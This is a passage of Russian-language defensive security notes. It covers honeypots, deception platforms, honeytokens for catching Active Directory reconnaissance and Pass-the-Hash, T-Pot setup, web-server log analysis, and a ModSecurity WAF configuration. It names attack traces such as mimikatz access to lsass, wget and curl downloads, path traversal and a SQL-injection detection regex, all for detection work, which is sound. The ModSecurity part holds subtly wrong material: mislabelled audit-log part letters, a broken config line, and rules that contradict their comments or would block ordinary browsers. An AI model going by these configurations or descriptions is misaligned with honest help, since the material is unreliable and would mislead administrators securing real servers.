• Отвлечение атакующего от ресурсов системы, что позволяет избежать утечек или сбоев в реальной системе.
• Оценка эффективности применения других средств защиты.

Эффективность использования зависит от их размещения. Важно учитывать тип эмулируемого ресурса в зависимости от располагаемых активов. 

Классификация

Классифицируют по их назначению (исследовательские и производственные) и уровню взаимодействия (низкий, средний и высокий).

• Исследовательская: сбор информации о кибератаках, угрозах, с которыми могут столкнуться организации, что позволяет лучше их защитить. 
• Производственная: используется в среде организации для ее защиты и снижения рисков. Оповещают администраторов о потенциальных атаках в режиме реального времени.

По уровню взаимодействия:

• Низкий — производственные, имитируют сервисы, которые нельзя использовать для получения полного доступа к узлу.
• Средний более сложные и предоставляют больше векторов атак.
• Высокий — полнофункциональные ОС и приложения. После проникновения внутрь производится анализ его активности в системе.

Honeynet – сеть из связанных узлов, которые находятся под управлением специального межсетевого экрана, называемого honeywall. Размещение honeynet в корпоративной сети

Скомпрометированные системы представляют угрозу для сети компании. Поскольку приманки предназначены для компрометации, злоумышленники могут получить к ним полный доступ, создать ботнет, а затем атаковать другие системы или запустить DoS-атаку. Чтобы уменьшить риск заражения, сеть-приманка помещается за межсетевым экраном, который ограничивает доступ к производственной сети, поскольку через нее должен проходить весь входящий и исходящий трафик. Это также ограничивает объем вредоносного трафика, который может выйти из сети, не позволяя злоумышленнику атаковать другие системы.

Наиболее актуальная стадия развития honeypot-систем — deception-системы. Основной целью deception-систем по-прежнему является отвлечение атакующего от реальных ресурсов компании, но в масштабе, большем, чем в honeynet. Решения deception предполагают автоматизированный подход к обнаружению атак. Deception-системы эмулируют поведение инфраструктуры. Например, в рамках атаки злоумышленник может обнаружить эмулируемые сервера баз данных, размещенных рядом с другими незначительными с точки зрения ценности информации объектами сети. Исследование полученных сведений из баз данных позволит отвлечь атакующего от реальных активов.

Обнаружение разведки Active Directory при помощи Honeytoken

Создается поддельная учетная запись домена. При попытке логина в журнале событий (eventvwr. msc) появится запись с идентификатором события 4625 и имя поддельной учетной записи.

Также зарегистрируется событие 4771. При вводе учетной записи, рабочая станция связывается с локальным контроллером домена и запрашивает TGT. Если имя пользователя и пароль верны и учетная запись пользователя проходит проверки состояния и ограничений, контроллер домена предоставляет TGT и регистрирует событие с идентификатором 4768 (билет аутентификации предоставлен). Если запрос билета завершается неудачей, Windows регистрирует это событие с идентификатором 4771.

Для получения уведомлений при регистрации данных событий необходимо:

• Сгенерировать Canary-токен (например, при помощи сервиса по ссылке) который будет срабатывать при переходе на URL (Web bug/URL token).
• В планировщике заданий Windows создать задачу, которая будет выполняться при возникновении события.
• В качестве фильтра событий указать: 

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
    (*[System[EventID='4771']] or *[System[EventID='4625']]) and
    *[EventData[Data [@Name='TargetUserName']='ИМЯ_ПОЛЬЗОВАТЕЛЯ']]
    </Select>
  </Query>
</QueryList>

• В качестве действия, выполняемого при срабатывании события, указать запуск curl.exe, а в качестве аргумента указать ссылку на ранее созданный canary-токен.

HoneyHash.

Для обнаружения атаки Pass-the-Hash. Включает размещение учетных данных для поддельной учетной записи в памяти LSASS на целевой системе. Если злоумышленник попытается воспользоваться учетными данными для атаки PtH, событие будет зарегистрировано для дальнейшего анализа. Такие события могут быть зарегистрированы при помощи Sysmon. При попытке проведения атаки PtH журнал событий будет содержать события с идентификаторами 4625 (неудачная попытка входа) и 10 (попытка доступа к процессу lsass.exe процессом mimikatz.exe).

Чтобы сделать поддельную учетную запись привлекательнее, возможно:

• Перепрофилировать старую учетную запись, которая была неактивна. Это «старит» аккаунт и обеспечивает некоторый уровень легитимности.
• Выполнить вход в систему несколько раз: неактивные учетные записи выглядят подозрительно. Возможно настроить запланированное задание для входа в систему с этой учетной записью ежедневно или еженедельно, чтобы повысить активность учетной записи. Если предполагается использование неактивной учетной записи-приманки, необходимо убедиться в том, что с ней связано несколько входов в систему, поскольку злоумышленники могут проверить атрибут logoncount.
• Совершить хотя бы одну попытку ввода неверного пароля.
• Добавить учетную запись в привилегированную группу AD, установив при этом автоматически сгенерированный пароль.

Примеры систем

В зависимости от специфики корпоративной сети возможно использование honeypot’ов с различным уровнем взаимодействия. 

При разворачивании honeypot’ов, представляющих собой конкретный сервис стоит понимать, что ловушка может либо имитировать работу конкретного протокола, либо выполнять полную эмуляцию сервиса. В первом случае не предусмотрены функциональные возможности сервиса, во втором случае решения используют надстройку над реальными службами для перехвата и дальнейшего анализа информации.

Honeypot-системы для баз данных

• Delilah — действует как уязвимый экземпляр Elasticsearch, который обнаруживает и идентифицирует паттерны атак, попытки сканирования и команды загрузки (в частности, «wget» и «curl»).
• Nosqlpot — приманка с открытым исходным кодом для баз данных nosql, которая автоматизирует процесс обнаружения злоумышленников и регистрации инцидентов атак. Механизмы моделирования развертываются с использованием фреймворка Twisted.
• mysql-honeypotd — honeypot с низким уровнем взаимодействия, имитирующий работу БД MySQL.

Honeypot-системы для веб-приложений:

• Glastoph — Реализован на языке Python версии 2.7, имеет ряд шаблонов html-страниц. Приложение, которое имитирует данная ловушка, может быть дописано или вовсе переделано в зависимости от нужд пользователей. В данном honeypot присутствует эмуляция популярных типов атак: удаленное включение файлов (RFI) через встроенную песочницу PHP, включение локальных файлов (LFI) из виртуальной файловой системы и внедрение HTML через запросы POST.
• DShield — Web Honeypot состоит из 3 элементов: клиент, набор шаблонов и система логирования событий. Все веб-запросы, поступающие на приманку, передаются модулю-клиенту. Клиент пытается сопоставить запрос к веб-приложению с одним из шаблонов, установленных в приманке. Если подходящий шаблон найден, он отправляется пользователю, который произвел запрос. Если шаблон недоступен, возвращается веб-страница по умолчанию. В обоих случаях конкретный запрос веб-приложения регистрируется и отправляется в центральную базу данных DShield.
• Honeyhttpd — это honeypot-платформа веб-сервера на основе Python. HoneyHTTPD позволяет создавать свои ответы с помощью Python на уровне протокола HTTP, чтобы имитировать ответы серверов Apache/Tomcat. Для более гибкой настройки требуется изменение исходного кода обработчиков запросов.

Honeypot-системы для сетевых протоколов:

• DDoSPot — honeypot для отслеживания и мониторинга атак распределенного отказа в обслуживании (DDoS) на основе UDP. В настоящее время платформа поддерживает следующие службы/серверы-приманки: NTP-сервер, SSDP-сервер, CHARGEN-сервер, Mock-UDP-сервер.
• HoneySMB — honeypot с высоким уровнем взаимодействия для эмуляции работы SMB-сервера.
• Conpot — это приманка для АСУ ТП, целью которой является сбор информации о мотивах и методах злоумышленников, нацеленных на системы промышленного управления. Поддерживает распространенные протоколы, используемые на устройствах АСУ ТП: IEC104, http, ftp, tftp, modbus, snmp.
• CiscoASA Honeypot — honeypot с низким уровнем взаимодействия для компонента Cisco ASA, способен обнаруживать попытки эксплуатации CVE-2018-0101, уязвимости DoS и удаленного выполнения кода.
• Kippo — SSH-honeypot среднего взаимодействия, предназначен для регистрации bruteforce атак и, что наиболее важно, всего взаимодействия с SSH-оболочкой, выполняемого злоумышленником.
• Cowrie — honeypot для SSH и Telnet со средней и высокой степенью взаимодействия, предназначенная для регистрации bruteforce атак и взаимодействия с SSH-оболочкой, выполняемого злоумышленником. В режиме среднего взаимодействия (SSH-оболочка) он эмулирует систему UNIX на Python, в режиме высокого взаимодействия (прокси) он функционирует как прокси-сервер SSH и telnet для наблюдения за поведением злоумышленника в системе.

Honeypots — представляет собой модуль Python, который содержит honeypot’ы низкого уровня взаимодействия. Логирование данных о взаимодействии злоумышленника с узлом происходит в одном из поддерживаемых форматов: терминал, syslog, Postges, sqlite. В таблице ниже приведен список сервисов, эмулируемых данным средством.

Dionaea — honeypot на базе Python-модулей, реализующих имитацию работы протоколов. В отличие от honeypots является ловушкой среднего уровня взаимодействия. Некоторые из модулей предоставляют злоумышленнику ограниченный функционал соответствующего протокола. В таблице ниже приведен список сервисов, эмулируемых данным средством.

T-Pot — представляет собой honeypot-систему, в которой собран функционал описанных выше средств.

Тяжеленная хрень. 

Содержит большое количество средств визуализации информации о взаимодействии с системой злоумышленников, а также множество инструментов безопасности. Данная honeypot-система включает в себя описанные выше средства. Разворачивание каждого из эмулируемых сервисов происходит при помощи средств контейнеризации.

Для эмуляции системы, позволяющей выявлять активность злоумышленника в сети по популярным сетевым протоколам, рекомендуется использовать T-Pot. Инструкция по установке T-Pot:

• В ОС Debian 11 от имени root

  sudo apt install -y git
  git clone https://github.com/telekom-security/tpotce
  cd tpotce
  ./install.sh

• Выбрать конфигурацию T-Pot: Standard, установить имя пользователя и пароль для веб-интерфейса. После успешной установки произойдет перезагрузка ОС. После перезагрузки порт, прослушиваемый службой SSH, изменится на 64295.

• Отключить отправку пользовательских данных на серверы T-Pot: 

  systemctl stop tpot
  # Открыть конфигурационный файл /opt/tpot/etc/tpot.yml и удалить из него секцию:
  # Ewsposter service
    ewsposter:
      container_name: ewsposter
      restart: always
      networks:
       - ewsposter_local
      environment:
       - EWS_HPFEEDS_ENABLE=false
       - EWS_HPFEEDS_HOST=host
       - EWS_HPFEEDS_PORT=port
       - EWS_HPFEEDS_CHANNELS=channels
       - EWS_HPFEEDS_IDENT=user
       - EWS_HPFEEDS_SECRET=secret
       - EWS_HPFEEDS_TLSCERT=false
       - EWS_HPFEEDS_FORMAT=json
      env_file:
       - /opt/tpot/etc/compose/elk_environment
      image: "dtagdevsec/ewsposter:2203"
      volumes:
       - /data:/data
       - /data/ews/conf/ews.ip:/opt/ewsposter/ews.ip
  
  systemctl start tpot

  Для проверки корректности установки системы необходимо перейти в директорию tpotce/bin и выполнить shell-скрипт ./dps.sh.

• Веб-интерфейс доступен на порту 64297 и содержит ссылки на панели управления основными компонентами системы.

Панели инструментов:

Deception-технология - методы активного обмана злоумышленников с применением специальных ловушек, приманок и других приемов дезинформации. Применение таких методов внутри корпоративной сети позволяет рано обнаруживать целенаправленные атаки, которые могли быть упущены предупредительными мерами, такими как брандмауэры, системы предотвращения вторжений и антивирусные программы. Хотя термин "Deception" относительно новый, основная концепция этой технологии основана на принципе Honeypot-систем, но с более высоким уровнем реализации, возможностями масштабирования и автоматизации.

Deception-платформы представляют собой централизованные системы управления, которые создают, распространяют и управляют всей эмулируемой средой и связанными с ней компонентами архитектуры. Эти компоненты могут включать рабочие станции, серверы, устройства, приложения, сервисы, протоколы, элементы данных или пользователей, которые часто виртуализируются и практически неотличимы от реальных активов. Они используются в качестве приманки для привлечения и обнаружения злоумышленников. Отличительной особенностью Distributed Deceptive Platform (DDP) от Honeypot (Honeynet) является наличие распределенных систем, то есть при разворачивании таких систем, как правило, используются технологии виртуализации ВМ с возможностью централизованного управления ими. Разворачивание узлов может производиться автоматизировано с повторением корпоративной специфики компании. Ниже приведена сравнительная таблица с продуктами, реализующими технологию DDP.

Обнаружение на периметре.

Honeytoken

Honeytoken — ложная информация в системе или на сайте компании для привлечения внимания и определения факта НСД. Может быть в виде фиктивных учетных записей или файлов, содержащих ложную информацию. Часто являются компонентом honeypot-систем. Последовательность размещения:

• Создание Honeytoken в зависимости от эмулируемых данных (например, поддомен организации).
• Размещение на ресурсе внешнего периметра организации (в случае с OSINT). Например, поддельные учетные данные, используемые удаленного доступа к высокочувствительным ресурсам размещаются в обсуждении на форуме.
• Систему управления Honeytoken связывают с системой обнаружения вторжений (IDS) или платформой управления информационной безопасностью и событиями безопасности (SIEM) или просто почта/мессенджеры.
• После срабатывания оповещения вступает в силу план реагирования на инциденты организации.
• Данные, собранные в результате анализа события, используются для принятия мер безопасности. Направления  использования Honeytoken дают представление о частях сети, подвергающихся наибольшему риску, а также о типах инструментов, необходимых для защиты этих областей. 

Настройка получения уведомлений о проведении OSINT

При проведении OSINT пытаются получить следующие данные:

• Доменные имена, которые принадлежат организации;
• Почтовые адреса сотрудников;
• Социальные сети организации и ее сотрудников;
• Исходный код из репозиториев в системах контроля версий.

Каждый из этих информационных ресурсов возможно эмулировать и размещать в открытых источниках.

DNS Canarytoken

Механизм обнаружения НСД к DNS-серверам. Это уникальный DNS-запрос, который не должен быть использован нормальными пользователями или приложениями. Если кто-то попытается использовать этот запрос, это будет сигналом о возможной атаке. DNS Canarytoken может быть размещен на DNS-сервере или в зоне DNS-имен и может быть настроен для определенных типов DNS-запросов или для всех запросов. 

Поиск поддоменов третьего уровня — одно из действий при проведении OSINT. Самые распространенные префиксы попадают в словари утилит для поиска поддоменов. Регистрируем неиспользуемый поддомен, содержащийся среди ключевых слов сканеров и при доступе к которому будет происходить оповещение об обращении к нему.

Данный функционал реализован в Canarytokens. Уведомления об обращении присылаются на почтовый адрес, возможны webhook'и мессенджеров. Настройка осуществляется при помощи файла окружения. 

В Knary поддерживаются следующие сервисы для оповещения: Discord, Slack, Microsoft Teams, Pushover, Lark, Telegram. 

E-mail адреса

Обычно почтовые адреса аналогичны домену организации. Регистрируют поддельный e-mail. При выявлении деятельности (спам-рассылка, множественные попытки входа, использование почтового адреса в качестве логина при аутентификации, запросы к БД, содержащие сгенерированный e-mail) система обнаружения генерирует уведомление.

Репозитории Git

Часто в оставленных в публичном доступе репозиториях присутствуют API-токены доступа ко внутренним сервисам организации. Им могут пользоваться. Эмуляция и отслеживание аномальной активности, связанной с поддельным токеном (или даже целым endpoint’ом) выявляет факт компрометации исходного кода.

Для автоматизации и эффективного отслеживания деятельности злоумышленника на внешнем периметре компании можно использовать средство «Manuka», которое представляет собой агрегатор указанных выше методик по созданию honeytoken’ов.

Также для обнаружения OSINT’a возможно разворачивание средства T-Pot на внешнем периметре. Данное средство представляет собой сборку популярных honeypot-систем, эмулирующих отдельные сервисы (в т.ч. и DNS-серверы).

Анализ логов

Анализ логов выявляет подозрительные действия, указывающие на попытку проникновения. Можно определить:

• источник атаки (IP, устройства и т.д.)
• серьезность угрозы
• были ли предприняты какие-либо действия для компрометации системы

Основные файлы журналов в Linux-системах

Текущая схема журналирования в Debian: 

[Программы] → journald → (опционально) rsyslog → /var/log/*.log

Подробнее о логах. rsyslog по умолчанию не установлен. Список журналов:

Файлы журналов различаются в разных ОС. Например, логи событий для команд sshd, sudo и прочих действий, связанных с безопасностью в Ubuntu, находятся в /var/log/auth.log, а в CentOS в /var/log/secure. Также, файлы менеджера журналирования находятся в /var/log/syslog для Ubuntu, а в CentOS - /var/log/messages. 

Daemon (демоны) в системах Linux

Демон Syslog

Менеджер журналов. Есть Nxlog и Syslog-NG, но Syslog наиболее распространен. Задача Syslog — прием событий от локальных служб, обработка, запись их в файлы журналов /var/log или пересылка событий по сети. Виды Syslog:

• Syslog как менеджер журналов;
• Syslog как сетевой протокол передачи данных;
• Syslog как формат предоставления данных.

Обычно приложения отправляют события менеджеру журналов в своем формате, и для удобства чтения логов из разных источников эти сообщения нужно стандартизировать.

Веб-серверы и языки сценариев

Веб-сервер Nginx

У Nginx есть один главный и несколько рабочих процессов. Основная задача главного процесса — чтение и проверка конфигурации и управление рабочими процессами, которые выполняют фактическую обработку запросов.

Конфигурация Nginx разделяется на виртуальные серверы (директива «server»). Виртуальные серверы, в свою очередь, разделяются на location. Для виртуального сервера возможно задать адреса и порты, на которых будут приниматься соединения. 

Конфигурационный файл nginx.conf, каталоге /usr/local/nginx/conf, /etc/nginx или /usr/local/etc/nginx.

При работе Nginx ведет два файла журналов - access.log и error.log. Первый отвечает за журналирование успешно обработанных запросов клиентов, второй - за журнал ошибок. (access_log и error_log). По умолчанию Nginx имеет следующий формат логов: 

• $remote_addr – IP адрес источника, с которого был сделан запрос;
• $remote_user – пользователь, прошедший HTTP-аутентификацию;
• [$time_local] – время посещения в часовом поясе сервера;
• “$request” – тип HTTP-запроса, запрошенный путь без аргументов и версия HTTP;
• $status – код ответа от сервера;
• $body_bytes_sent– размер ответа сервера в байтах;
• “$http_referer” – URI страницы, с которой пользователь сделал запрос;
• “$http_user_agent” – user-агент;

Сортировка лога по коду ответа: 

cat access.log | cut -d '"' -f3 | cut -d ' ' -f2 | sort | uniq -c | sort -rn

Найти запросы, которые получили в ответ 404 ошибку, и отсортировать по числу запросов на URL: 

awk '($9 ~ /404/)' access.log | awk '{print $7}' | sort | uniq -c | sort -rn

Список IP, с которых идут запросы к конкретному url:

awk -F\" '($2 ~ "/wp-admin/install.php"){print $1}' access.log | awk '{print $1}' | sort | uniq -c | sort -r

Список самых популярных URL:

awk -F\" '{print $2}' access.log | awk '{print $2}' | sort | uniq -c | sort -

В Elasticsearch для работы с такими логами удобно использовать фильтр event.category: "web". Также, для быстрого доступа к нужным данным можно выбрать интересующие аналитика поля в левой части в разделе Selected Fields, и нажав на значок "+" рядом с именем поля.

Обнаружение перечисления веб-сервера (Enumeration)

Обычно на фазе подготовки производят перечисление (enumeration) веб-сервера. В случае веб атак интересуют доступные URL, версия веб-сервера и установленные интерпретаторы. 

Для определения ОС и версии Nginx сервера, воспользуемся инструментом Nmap. Для определения версий ПО ключ -sV. 

nmap ip_addr -sV

При сканировании Nmap добавляет в заголовки запросов записи (поэтому нужно менять user-agent), позволяющие его идентифицировать.

Обнаружить перебор директорий по логам веб-сервера происходит с помощью контроля всплеска запросов с ответом от сервера 404 - Not found. Также в запросах подставляется несуществующий или устаревший User-agent, в нашем случае мы видим Mozilla/4.0 для Windows NT. 

Обнаружение атаки Local File Inclusion

В логах обращений к веб-серверу будет запись вида ../../ В SIEM. применим следующие фильтры:

event.category: process;
event.code: 1 - Sysmon event 1 описывает событие создания нового процесса;
winlog.event_data.ParentUser: www-data - нас интересуют процессы, запускаемые от пользователя www-data;

Поскольку Sysmon изначально был написан для Windows, некоторые системы используют уже работающие для Windows модули для импорта логов. Пусть вас не смущает Winlog в названии поля, в нашем случае это поле описывает пользователя-родителя процесса в Linux-системе. event.module: sysmon_linux - нас интересуют логи Sysmon for Linux.

Анализ логов Linux

Инцидент повышения привилегий является серьезным инцидентом безопасности. При подозрении важно провести углубленное расследование. Признаками повышения привилегий могут являться вредоносное ПО в конфиденциальных системах, подозрительные входы в систему и необычные сетевые соединения, срабатывания систем EDR, NIDS, DLP итд.

С позиции Blue Team-специалиста, такие инструменты как LinPEAS генерируют большое количество событий подряд (запуск команд для работы с текстовыми данными grep), не характерное для работы человека, занимающимся фильтрацией данных. Определения всплеска такой активности может помочь с обнаружением.

Web-shell. Самым простой - восстановление сайта из резервной копии и последующее устранение уязвимостей, которые привели к компрометации. Альтернативный способ — сравнить имеющиеся на сервере файлы с оригиналами, или настроить File Integrity monitoring (FIM). 

FIM — это способ контроля целостности файлов. Программа с некоторой периодичностью создает контрольные суммы файлов системы, и сравнивает их с предыдущими значениями. Если контрольная сумма изменилась — значит файл был изменен, и программа запишет это событие в лог.

Из Open-source решений, которые делают FIM можно выделить три самых популярных:

• Auditbeat’s File Integrity Monitoring: Auditbeat’s File Integrity Monitoring
• Auditd: Auditd
• Wazuh’s File Integrity Monitoring: Wazuh’s File Integrity Monitoring

IDS/IPS

Для средств защиты сети, таких как IDS/IPS и WAF, основными полями для расследования в логах будут являться следующие поля:

• IP-адреса источника и назначения;
• Порты источника и назначения;
• Используемый протокол (как минимум 4 уровня, если по какой-то причине невозможно получить данные об используемых портах - пригодится и более верхнеуровневая информация по протоколам); 
• Название сработавшего правила (как обсуждалось ранее, это поле "msg" в правилах Snort, Suricata или ModSecurity).

Общий алгоритм анализа логов:

open-appsec

ModSecurity

ModSecurity — веб-брандмауэр (Web Application Firewall, WAF), в виде модуля веб-сервера. Встраивается в цикл обработки запросов и ответов веб-сервера Задачи:

• Обнаруживает и блокирует SQLi, XSS, инъекции кода, и другие уязвимости веб-приложений;
• Логирование событий

Компоненты:

• Rule Engine (Движок обработки правил) — компонент, ответственный за принятие решений на основе правил безопасности.
• Rule Language (Язык/синтаксис правил) — специальный синтаксис, используемый для написания правил обработки входящего и исходящего трафика.
• Rule Set (Набор правил) — набор заранее определенных правил безопасности, который может быть настроен и расширен под нужды конкретного приложения.

Apache

sudo apt update 
sudo apt install apache2 libapache2-mod-security2

Активация модуля 

sudo ln -s /etc/modsecurity/modsecurity.conf /etc/apache2/conf-enabled/
sudo systemctl restart apache2

Настройка ModSecurity

/etc/modsecurity/modsecurity.conf. 

# Основные настройки
SecRuleEngine On
SecRequestBodyAccess On
SecDataDir /var/cache/modsecurity
SecRequestBodyLimit 13107200

# Настройки логгирования
SecDebugLog /var/log/modsec_debug.log
SecDebugLogLevel 0
SecAuditEngine RelevantOnly
SecAuditLogRelevantStatus "^(?:5|4(?!04))"
SecAuditLogParts ABIFHZ
SecAuditLogType
Serial SecAuditLog /var/log/modsec_audit.log

#### Правила блокировки/пропускания запросов
# Правило пропускает запросы с IP адресов из whitelist
SecRule REMOTE_ADDR "@ipMatchFromFile /etc/modsecurity/whitelist.conf" "phase:1,nolog,allow"
# Правило разрешает метод OPTIONS
SecRule REQUEST_METHOD "OPTIONS" "phase:1,nolog,allow"
# Правило разрешает метод CONNECT
SecRule REQUEST_METHOD "CONNECT" "phase:1,nolog,allow"
# Правило запрещает использование любых методов кроме GET, HEAD и POST, и обозначает статус-код ошибки 405-ым
SecRule REQUEST_METHOD "!^(GET|HEAD|POST)$" "phase:2,deny,status:405,log,msg:'Method is not allowed.'"

#### Правила обнаружения атак
# Правило проверяет заголовок host - есть ли в нем IP адрес
SecRule REQUEST_HEADERS:Host "@rx ^\d+\.\d+\.\d+\.\d+$" "phase:1,block,log,msg:'IP address in Host header.'"
# Правило проверяет используемый протокол в запросе и блокирует соединения по HTTP, выдавая 403 код ответа
SecRule REQUEST_URI|REQUEST_HEADERS "!(?i:^https?://)" "phase:1,deny,status:403,id:1005,msg:'Non-HTTPS traffic not allowed.'"
# Правило блокирует трафик от ботов и сканеров, определеяя их по юзер-агенту
SecRule REQUEST_HEADERS:User-Agent "@pm (googlebot|bingbot)" "phase:1,deny,status:403,id:1006,msg:'Bot not allowed.'" 
# Правило для блокировки запросов с неправильными Referer - Referer отличается от SERVER_NAME
SecRule REQUEST_HEADERS:Referer "!@contains %{SERVER_NAME}" "phase:1,deny,status:403,id:1007,msg:'Invalid Referer.'" 
# Правило блокирует запросы с неправильными Content-Type
SecRule REQUEST_HEADERS:Content-Type "!@rx ^(application/x-www-form-urlencoded|multipart/form-data|text/plain)$" "phase:1,deny,status:403,id:1008,msg:'Invalid Content-Type.'"
# Правило блокирует запросы с неправильным User-Agent
SecRule REQUEST_HEADERS:User-Agent "!@rx ^[a-zA-Z0-9_.-]+$" "phase:1,deny,status:403,id:1009,msg:'Invalid User-Agent.'"
# Правило блокирует запросы с неправильными Accept-Charset
SecRule REQUEST_HEADERS:Accept-Charset "!@rx ^[a-zA-Z0-9_.-]+$" "phase:1,deny,status:403,id:1010,msg:'Invalid Accept-Charset.'"
# Правило блокирует запросы с неправильным Accept-Encoding
SecRule REQUEST_HEADERS:Accept-Encoding "!@rx ^[a-zA-Z0-9_.-]+$" "phase:1,deny,status:403,id:1011,msg:'Invalid Accept-Encoding.'"
# Правило блокирует запросы с неправильным Accept-Language
SecRule REQUEST_HEADERS:Accept-Language "!@rx ^[a-zA-Z0-9_.-]+$" "phase:1,deny,status:403,id:1012,msg:'Invalid Accept-Language.'" 

Некоторые из ключевых параметров:

SecRuleEngine — определяет, включен ли ModSecurity (On - включено, Off - выключено).
SecRequestBodyAccess — определяет, имеет ли ModSecurity доступ к телу запроса (On - включено, Off - выключено).
SecDataDir — определяет директорию для хранения данных, таких как временные файлы и директории.
SecDebugLog, SecDebugLogLevel — определяют файл и уровень журнала отладки.
SecAuditEngine, SecAuditLog, SecAuditLogRelevantStatus, SecAuditLogParts — настройки для журналирования аудита.

Проверка работоспособности

Можно создать простой тестовый файл, чтобы убедиться, что ModSecurity работает.
Создайте файл test.php в вашем веб-каталоге с содержимым:

<?php echo "Hello, World!"; ?>

Откройте этот файл в веб-браузере и убедитесь, что он доступен. Затем попробуйте создать запрос, который сработает на одном из правил ModSecurity, чтобы убедиться, что он блокирует нежелательные запросы.

анализ логов ModSecurity

Логи ModSecurity могут быть объемными и содержать различные сведения о запросах, правилах, срабатываниях и действиях, принятых модулем. Обычно логи ModSecurity находятся в каталоге, указанном в конфигурационном файле, например, /var/log/modsec_audit.log для журнала аудита.

Использование утилит для анализа логов:

Для анализа логов ModSecurity вы можете использовать утилиты, такие как grep, awk, sed, cat и другие.

Пример команды для просмотра последних 100 строк журнала аудита:

tail -n 100 /var/log/modsec_audit.log

Фильтрация логов по определенным событиям:

Используйте grep или другие инструменты для фильтрации логов по конкретным событиям. Например, для поиска срабатываний правила с ID 1001:

grep 'id:1001' /var/log/modsec_audit.log

Формат логов:

Включите необходимые поля в логах, используя настройки в конфигурационном файле, такие как SecAuditLogParts.
SecAuditLogParts в ModSecurity — это настройка, которая определяет, какие части данных будут включены в журнал аудита (audit log). Эта настройка позволяет настраивать формат вывода логов и включать в них только необходимую информацию. Каждая часть, определенная в SecAuditLogParts, представляет собой отдельный блок данных, который может быть включен или исключен в зависимости от потребностей анализа.

Пример использования SecAuditLogPart:

SecAuditLogParts ABCDEFGHZ

Основные части, которые можно включить в SecAuditLogParts:

A - Request Headers (REQUEST_HEADERS): Заголовки запроса

B - Request Body (REQUEST_BODY): Тело запроса

C - Response Headers (RESPONSE_HEADERS): Заголовки ответа

D - Response Body (RESPONSE_BODY): Тело ответа

E - UUID (UUID): Уникальный идентификатор транзакции

F - Unique ID (UNIQUE_ID): Уникальный идентификатор запроса (например, Apache unique request ID)

G - События в аудите (AUDIT_LOG): События в формате JSON

H - Примерный перевод событий в аудите (AUDIT_LOG_RELEVANT): Примерный перевод событий в формате JSON.

Z - Завершающая строка (END): Завершающая строка для каждого запроса

Использование SecAuditLogParts обеспечивает гибкость в конфигурации логирования ModSecurity, что важно при настройке системы безопасности для конкретных потребностей вашего веб-приложения.

Использование инструментов для визуализации

Используйте инструменты визуализации логов, такие как modsec_audit_log_viewer, modsecurity-transaction-dashboard, или другие, чтобы более наглядно анализировать данные. 

Проверка статуса срабатывания правил

При анализе логов обратите внимание на статусы срабатывания правил. Например, status:403 указывает на блокировку запроса.

Использование инструментов анализа безопасности:

Используйте инструменты безопасности, такие как ModSecurity-Log-Analyzer, которые специально созданы для анализа логов ModSecurity.
Простой пример лога:

--eca96d83-A-- [12/Dec/2023:15:30:45 +0000] U9Qn8HO@ABoAAHwMnNoAAAAB 192.168.1.100 12345 192.168.1.200 80
--eca96d83-B-- POST /example.php HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Content-Type: application/x-www-form-urlencoded Content-Length: 20 param1=value1&param2=value2
--eca96d83-C-- HTTP/1.1 403 Forbidden Content-Length: 214 Content-Type: text/html; charset=iso-8859-1
--eca96d83-F-- ...
--eca96d83-H-- Message: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\b(?:union\s*all|select\s*(?:.+)\s*from|create\s*(?:.+)\s*table|delete\s*from|drop\s*(?:.+)\s*table|exec\s*(?:\w+\s*|\s*)\(|insert\s*into|shutdown|update\s*(?:.+)\s*set)\b))" at ARGS_NAMES:param1. [file "/etc/modsecurity/modsecurity.conf"] [line "21"] [id "1001"] [msg "SQL Injection attempt."] [severity "CRITICAL"] [hostname "www.example.com"] [uri "/example.php"] [unique_id "U9Qn8HO@ABoAAHwMnNoAAAAB"]
--eca96d83-Z--

Части логов:

A - Информация о запросе, включая уникальный идентификатор события (U9Qn8HO@ABoAAHwMnNoAAAAB), IP-адрес клиента, порт клиента, IP-адрес сервера, и порт сервера.

B - Содержит сам запрос, включая метод (POST), URI (/example.php), HTTP-версию, заголовки запроса и тело запроса.

C - Информация о ответе сервера, включая код состояния (403 Forbidden), длину содержимого и тип контента.

F - Дополнительная информация (не показана в примере).

H - Лог ModSecurity, содержащий информацию о срабатывании правила. В данном случае, правило с id "1001" (SQL Injection attempt) сработало из-за обнаружения попытки SQL-инъекции в параметре param1.

Z - Завершающая часть лога.

Реагирование на инциденты с использованием ModSecurity

ModSecurity предоставляет несколько методов оповещения администратора об инцидентах безопасности. Эти методы включают в себя логирование событий, отправку электронных сообщений, уведомления в системные журналы и использование внешних систем мониторинга. Вот несколько способов, как ModSecurity может делать оповещения:

Логирование событий:

ModSecurity создает логи событий, которые могут быть анализированы администраторами. В журналах содержится информация о срабатываниях правил, заблокированных запросах и других событиях и инцидентах
Логи могут быть настроены в соответствии с требованиями и включать в себя различные уровни детализации, в зависимости от потребностей безопасности вашего приложения

Электронные уведомления:

В ModSecurity может быть настроена отправка почтовых сообщений в случае срабатывания определенных правил или классов атак. Для этого можно использовать настройку SecAction с действием:
log, pass, phase:2, msg:'Message to alert admin', logdata:'adminadmin@email.com'

Интеграция с системами мониторинга:

ModSecurity может интегрироваться с внешними системами мониторинга, такими как SIEM. Это позволяет администраторам централизованно отслеживать безопасность в реальном времени и получать оповещения.
Мониторинг системных журналов:

События ModSecurity также могут быть отправлены в системные журналы операционной системы. Администраторы могут настроить мониторинг этих журналов для обнаружения и реагирования на инциденты.
Использование специфических настроек в конфигурации:

В ModSecurity существует настройка SecAuditLogRelevantStatus, которая позволяет настроить конкретные статусы ответов, при которых должны генерироваться оповещения. Например, для оповещения при срабатывании правил, приводящих к статусам 5xx и 4xx, вы можете установить: 
SecAuditLogRelevantStatus "^(5|4[0-9][0-9])$"

                  
Как было сказано ранее, ModSecurity можно использовать в базовой комплектации правил, но как правило, ее может быть недостаточно, поэтому очень важна кастомизация ModSecurity. Она позволит адаптировать WAF под конкретные потребности безопасности веб-приложения. Это может включать в себя настройку правил фильтрации, оптимизацию производительности, а также логирования событий под требования безопасности.
Кастомизация ModSecurity также полезна для учета специфических сценариев использования, например, когда веб-приложение использует веб-сервисы или API. Так как ModSecurity — инструмент с открытым исходным кодом, он легко поддается кастомизации, и также может интегрироваться с внешними системами мониторинга и управления инцидентами.

Snort

